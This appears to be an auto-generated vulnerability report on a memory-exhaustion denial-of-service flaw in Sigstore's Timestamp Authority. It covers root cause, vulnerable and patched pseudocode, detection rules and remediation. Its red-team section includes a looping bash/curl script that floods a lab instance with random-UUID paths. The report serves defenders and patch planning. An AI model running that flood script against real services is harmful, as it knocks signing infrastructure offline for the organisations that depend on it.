CVE-2026-49835

Executive Summary

This report details CVE-2026-49835, a medium-severity Denial of Service (DoS) vulnerability in the Sigstore Timestamp Authority (TSA) service. The flaw allows an unauthenticated, remote attacker to exhaust server memory by sending crafted HTTP requests with random paths or methods. This is achieved because the wrapMetrics middleware records the raw HTTP request path and method as Prometheus labels before any routing or authentication occurs, creating unbounded time-series entries.

Business Impact: Organizations using Sigstore for software supply chain security are at risk. A successful attack would render the Timestamp Authority service unavailable, disrupting timestamp issuance and potentially blocking software signing workflows. The likely attacker is a low-sophistication actor seeking to cause service disruption, as no authentication or special privileges are required.

Urgency Assessment: Despite a CVSS score of 5.9 (Medium), the EPSS probability of 0.0% indicates no observed exploitation in the wild as of the publication date. The attack vector is trivial to execute (network access, no auth), but the impact is limited to availability. The primary urgency is for organizations running vulnerable versions (< 2.1.0) to patch proactively to prevent potential service outages.

Key Facts:

• Vendor: Sigstore
• Affected Software: Sigstore Timestamp Authority (TSA)
• Affected Versions: Prior to 2.1.0
• Patch Status: Fixed in version 2.1.0
• CISA KEV: Not listed.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

• AV:N (Network): The vulnerability is exploitable remotely over the network. The attacker does not require physical or local access.
• AC:L (Low): No special conditions or complex attack sequence is required. Sending a crafted HTTP request is straightforward.
• PR:N (None): The attacker does not need any authentication or privileges. The wrapMetrics middleware executes before any authentication check.
• UI:N (None): No user interaction is required. The attack is fully automated.
• S:U (Unchanged): A successful attack does not compromise other components of the system. The impact is confined to the TSA service itself.
• C:N (None): There is no loss of confidentiality. The attacker cannot read data.
• I:N (None): There is no loss of integrity. The attacker cannot modify data.
• A:H (High): The vulnerability leads to a complete loss of availability. Memory exhaustion will cause the service to crash or become unresponsive.

Qualitative Severity: Medium (Score 5.9). The score is elevated due to the network-based, unauthenticated nature of the attack, but capped by the impact being limited to availability.

EPSS Interpretation: An EPSS score of 0.0% means there is no current evidence of exploitation in the wild. This is typical for a newly published CVE. It does not mean the vulnerability is unexploitable; it simply reflects a lack of observed malicious activity.

Historical Context: Similar DoS vulnerabilities via unbounded metric labels have been seen in other Go-based web services using Prometheus client libraries. The core issue is a common developer oversight: failing to sanitize or limit label cardinality.

Temporal/Environmental Considerations: Since a patch exists (2.1.0), the temporal score is lower than the base score. In environments where the TSA is internet-facing and critical for signing operations, the environmental severity should be considered higher.

Technical Deep Dive & Attack Mechanics

Root Cause: The vulnerability resides in the wrapMetrics middleware. This middleware is designed to record HTTP request latency and request count as Prometheus metrics. The developer error is using r.URL.Path and r.Method directly as Prometheus label values without any sanitization or cardinality limits.

Step-by-Step Exploitation:

1. Setup: The attacker identifies a vulnerable Sigstore TSA instance (e.g., https://tsa.example.com).
2. Craft Request: The attacker crafts an HTTP request with a random path, such as GET /api/v1/timestamp/a1b2c3d4-e5f6-7890-abcd-ef1234567890 or a random HTTP method like PURGE /api/v1/timestamp.
3. Send Request: The attacker sends this request to the TSA server.
4. Middleware Execution: The wrapMetrics middleware intercepts the request before it reaches the routing logic. It extracts r.URL.Path (e.g., /api/v1/timestamp/a1b2c3d4-e5f6-7890-abcd-ef1234567890) and r.Method (e.g., GET).
5. Metric Creation: The middleware creates a new Prometheus time-series entry for the latency and request count metrics, using the raw path and method as labels. Because the path contains a unique UUID, this creates a new time-series entry.
6. Memory Exhaustion: The attacker repeats step 2 with a different random path each time. Each unique path creates a new time-series entry in Prometheus's in-memory storage. Over time, the number of unique time-series grows unbounded, consuming all available memory and causing the service to crash (OOM kill) or become unresponsive.

Attack Surface:

• Interface: HTTP/HTTPS
• Port: Typically 80 or 443 (or a custom port like 8080)
• Protocol: HTTP 1.1 or 2.0

Pre-conditions:

• Network access to the vulnerable TSA service.
• The service must be running a version prior to 2.1.0.

Attack Variants:

• Path-based: Using random UUIDs in the path.
• Method-based: Using random or non-standard HTTP methods (e.g., OPTIONS, TRACE, PURGE, LOCK).
• Combination: Using both random paths and random methods simultaneously.

Why Standard Defenses Fail:

• WAF: A standard WAF might not block requests with random UUIDs in the path, as this can be legitimate traffic (e.g., fetching a specific timestamp).
• Rate Limiting: While rate limiting can slow the attack, it does not prevent the creation of new time-series entries. An attacker can still exhaust memory over a longer period.
• Authentication: The vulnerability is in middleware that executes before authentication, so requiring authentication does not mitigate the attack.

Vulnerable vs. Patched Code Analysis

Vulnerable Code (Pseudocode):

// middleware.go (vulnerable)
func wrapMetrics(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        start := time.Now()
        // Vulnerable: using raw path and method as labels
        labels := prometheus.Labels{
            "path":   r.URL.Path,
            "method": r.Method,
        }
        requestCount.With(labels).Inc()
        next.ServeHTTP(w, r)
        requestDuration.With(labels).Observe(time.Since(start).Seconds())
    })
}

Patched Code (Pseudocode):

// middleware.go (patched in 2.1.0)
func wrapMetrics(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        start := time.Now()
        // Patched: using a sanitized path template
        labels := prometheus.Labels{
            "path":   getRoutePattern(r), // Returns a template like "/api/v1/timestamp/{uuid}"
            "method": r.Method,
        }
        requestCount.With(labels).Inc()
        next.ServeHTTP(w, r)
        requestDuration.With(labels).Observe(time.Since(start).Seconds())
    })
}

Analysis:

• The Bug: The vulnerable code uses r.URL.Path which contains the exact request path, including dynamic segments like UUIDs. This creates a new label for every unique UUID.
• The Fix: The patched code uses a function getRoutePattern() that returns the route template (e.g., /api/v1/timestamp/{uuid}) instead of the actual path. This ensures that all requests to the same endpoint share the same Prometheus label, preventing unbounded cardinality.
• Sufficiency: The fix is sufficient as it directly addresses the root cause. It does not rely on rate limiting or input validation, which can be bypassed.
• Regression: Teams should verify that the getRoutePattern() function correctly maps all routes to their templates. If a route is missed, it could still be vulnerable.

Timeline & Disclosure History

• CVE Publication Date: 2026-07-17T18:16:41.764Z
• Estimated Discovery: The vulnerability was likely discovered internally by the Sigstore team or reported by a security researcher prior to the patch release.
• Disclosure Process: The CVE was published by the CNA (likely Sigstore or a partner). The patch was released in version 2.1.0 concurrently with or prior to the CVE publication.
• Known Exploitation: No known active exploitation as of 2026-07-17.
• CISA KEV: Not listed.

Threat Intelligence Context

• Threat Actor Profile: This vulnerability is most likely to be exploited by low-sophistication actors (e.g., script kiddies, hacktivists) seeking to cause service disruption. Nation-state actors or ransomware groups would likely target higher-impact vulnerabilities.
• Attack Campaign Context: No known campaigns are using this CVE as of the report date.
• Geographic Targeting: None observed.
• Industry Verticals at Risk: Any organization using Sigstore for software supply chain security, including technology, finance, and critical infrastructure sectors.
• Historical Context: DoS via unbounded metric labels is a well-known anti-pattern. Similar vulnerabilities have been found in other projects using Prometheus, such as Kubernetes and various Go web frameworks.

Exploitation & Lab Setup

Red Team Section

Lab Setup:

1. Environment: Docker on a local machine or cloud VM.
2. Vulnerable Service: Pull and run a vulnerable version of Sigstore TSA (e.g., ghcr.io/sigstore/timestamp-authority:v2.0.0).

   docker run -d -p 8080:8080 ghcr.io/sigstore/timestamp-authority:v2.0.0
   

3. Attacker Machine: Any machine with network access to the Docker host (e.g., the host itself or another container).

Exploitation Walkthrough:

1. Verify Service: Confirm the TSA is running.

   curl http://localhost:8080/api/v1/timestamp
   

2. Craft Attack Script: Create a simple bash script to send requests with random paths.

   #!/bin/bash
   TARGET="http://localhost:8080"
   while true; do
       UUID=$(uuidgen)
       curl -s -o /dev/null "$TARGET/api/v1/timestamp/$UUID"
   done
   

3. Execute Attack: Run the script.

   ./attack.sh
   

4. Monitor Memory: Use docker stats to observe memory consumption of the container. It will steadily increase.
5. Expected Outcome: After a few minutes (depending on memory limits), the container will be killed by the OOM killer or become unresponsive.

Post-Exploitation: The attacker achieves a Denial of Service. No further access is gained.

Blue Team Section

Detection:

• Log Entries: The TSA access logs will show a high volume of requests to unique paths (e.g., /api/v1/timestamp/<uuid>) with a 404 or 405 status code (since the route doesn't exist).
• Network Traffic: A single source IP making a large number of HTTP requests with varying paths in a short period.
• Endpoint Indicators: High memory usage by the timestamp-authority process.

Indicators of Compromise (IOCs)

Network IOCs:

• Type: HTTP Request Pattern
• Value: GET /api/v1/timestamp/[a-f0-9\-]{36} HTTP/1.1 (repeated with different UUIDs)
• Description: Requests to non-existent timestamp endpoints with random UUIDs.

HTTP Request Patterns:

• Type: HTTP Method
• Value: Non-standard methods like PURGE, LOCK, UNLOCK, PROPFIND
• Description: Requests using unusual HTTP methods to the TSA endpoint.

Log Entries:

• Type: Access Log
• Value: 404 or 405 status codes for requests to /api/v1/timestamp/*
• Description: High volume of 404/405 errors from a single source IP.

Process Execution:

• Type: Process Memory
• Value: timestamp-authority process memory usage exceeding normal limits (e.g., > 1GB)
• Description: Uncharacteristically high memory consumption by the TSA process.

Detection Engineering

YARA Rule

rule CVE-2026-49835_Detection {
    meta:
        description = "Detects exploitation of CVE-2026-49835 in Sigstore TSA via log analysis"
        author = "Valters IT Hub"
        date = "2026-07-17"
        reference = "https://www.valtersit.com/cve/cve-2026-49835"
    strings:
        $s1 = "/api/v1/timestamp/" ascii wide nocase
        $s2 = "404" ascii wide
        $s3 = "405" ascii wide
    condition:
        // Match if a log line contains the TSA path and a 404/405 status code
        $s1 and ($s2 or $s3)
}

Sigma Rule (SIEM)

title: CVE-2026-49835 Sigstore TSA DoS Exploitation
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects a high volume of 404/405 errors from a single source to the Sigstore TSA, indicating a potential DoS attack via CVE-2026-49835.
author: Valters IT Hub
date: 2026-07-17
references:
    - https://www.valtersit.com/cve/cve-2026-49835
logsource:
    category: webserver
    product: sigstore
detection:
    selection:
        cs-uri-stem|startswith: '/api/v1/timestamp/'
        sc-status:
            - 404
            - 405
    timeframe: 5m
    condition: selection | count() by src_ip > 100
falsepositives:
    - Legitimate clients with misconfigured paths
    - Web vulnerability scanners
level: high

Suricata IDS Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-49835 Sigstore TSA DoS Attempt"; flow:to_server; content:"/api/v1/timestamp/"; http_uri; pcre:"/\/api\/v1\/timestamp\/[a-f0-9\-]{36}/"; threshold: type both, track by_src, count 50, seconds 60; classtype:attempted-dos; sid:1000001; rev:1;)

Elastic (EQL) Query

// Detects a high rate of 404/405 errors to the TSA path from a single source
sequence by source.ip
  [http where url.path : "/api/v1/timestamp/*" and response.status_code in (404, 405)] with maxspan=5m
| stats count by source.ip
| where count > 100

Splunk SPL Query

index=webserver sourcetype=access_combined
uri_path="/api/v1/timestamp/*" status IN (404, 405)
| stats count by clientip
| where count > 100
| table clientip, count

Wazuh Rule

<group name="sigstore,">
  <rule id="100001" level="10">
    <decoded_as>web-access</decoded_as>
    <field name="url">/api/v1/timestamp/</field>
    <field name="status">404|405</field>
    <description>Sigstore TSA: Potential DoS exploitation (CVE-2026-49835)</description>
    <group>attack_dos,</group>
  </rule>
</group>

Remediation & Mitigation

Immediate Actions (0-24 hours)

1. Patch: Upgrade the Sigstore Timestamp Authority to version 2.1.0 or later.

   # If using Docker
   docker pull ghcr.io/sigstore/timestamp-authority:v2.1.0
   docker stop <container_name>
   docker run -d -p 8080:8080 ghcr.io/sigstore/timestamp-authority:v2.1.0
   

2. Compensating Control (if patching is delayed): Implement a Web Application Firewall (WAF) rule to rate-limit requests to /api/v1/timestamp/* from a single IP address. This will slow the attack but not prevent it entirely.
3. Network-Level Mitigation: Place the TSA behind a reverse proxy (e.g., Nginx, HAProxy) and configure rate limiting.

   # Nginx rate limiting example
   limit_req_zone $binary_remote_addr zone=tsa:10m rate=5r/s;
   location /api/v1/timestamp/ {
       limit_req zone=tsa burst=10 nodelay;
       proxy_pass http://backend;
   }
   

Short-term (1-7 days)

1. Configuration Hardening: Ensure the TSA is not directly exposed to the internet if possible. Place it behind a VPN or internal network.
2. Monitoring: Implement the detection rules provided in this report to alert on exploitation attempts.
3. Vulnerability Scanning: Run a vulnerability scanner against the TSA to confirm the version.

   curl -s http://<tsa-host>:8080/ | grep "version"
   

Long-term

1. Architecture: Consider using a service mesh or API gateway that can enforce rate limiting and request validation at the edge.
2. Security Controls: Implement a process for reviewing all middleware for similar unbounded cardinality issues.
3. Developer Training: Educate developers on the dangers of using raw user input as Prometheus labels.

Validation

To confirm the patch was applied:

1. Check the version of the running TSA.

   curl -s http://<tsa-host>:8080/ | jq '.version'
   

2. Verify the version is 2.1.0 or later.
3. Perform a test by sending a request with a random UUID and checking that the Prometheus metrics endpoint (/metrics) does not show a new time-series for that specific path.

References & Resources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-49835
• CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-49835
• Vendor advisory: See Sigstore security page or GitHub releases for version 2.1.0
• OSV: https://osv.dev/vulnerability/CVE-2026-49835
• Related CWE: https://cwe.mitre.org/data/definitions/770.html
• MITRE ATT&CK: https://attack.mitre.org/techniques/T1499/

Report generated by Valters IT Hub Neural Engine v25 | 2026-07-17 | https://www.valtersit.com/cve/cve-2026-49835